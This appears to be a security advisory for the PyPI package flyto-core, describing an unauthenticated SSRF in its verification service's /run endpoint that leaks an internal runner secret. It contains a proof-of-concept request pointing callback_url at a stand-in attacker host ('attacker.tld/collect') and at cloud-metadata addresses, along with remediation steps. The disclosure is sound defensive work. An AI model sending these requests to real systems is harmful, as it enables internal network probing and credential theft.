PyPI · flyto-core
Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration
The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.
src/core/verification_service.py:363-364 — /run has no Depends/auth dependency.resolve_callback_url returns the client callback_url verbatim (:315-316).post_callback attaches X-Internal-Key: $FLYTO_RUNNER_SECRET whenever the env var is set (:327-335).target_allowed only gates params.target_url (:259), never callback_url. No validate_url_* anywhere in the file.Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).
Code-proven this session (all lines confirmed on v2.26.6):
POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.
POST http://<host>:8344/run with callback_url:"http://attacker.tld/collect". Guard: auth on /run. Bypass proof: no Depends(require_auth) (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.target_allowed scope (:259). Bypass proof: only inspects params.target_url; callback_url is never passed through extract_host/target_allowed.callback_url. Bypass proof: file has ZERO validate_url references.post_callback → session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET}) (:330-335); header attached unconditionally when the env var is set (:327-329)./run has no auth dependency (grep-confirmed); resolve_callback_url returns the client value verbatim; X-Internal-Key attached unconditionally; target_allowed gates only params.target_url; no validate_url_* in the file; shipped Dockerfile binds all interfaces.
<= 2.26.6 — verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.
Add authentication to /run; run callback_url through the SSRF guard + host allowlist before attaching any internal header; do not attach X-Internal-Key to non-allowlisted destinations; bind the service to loopback by default.
Vulnerability discovered by zx (Jace).
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.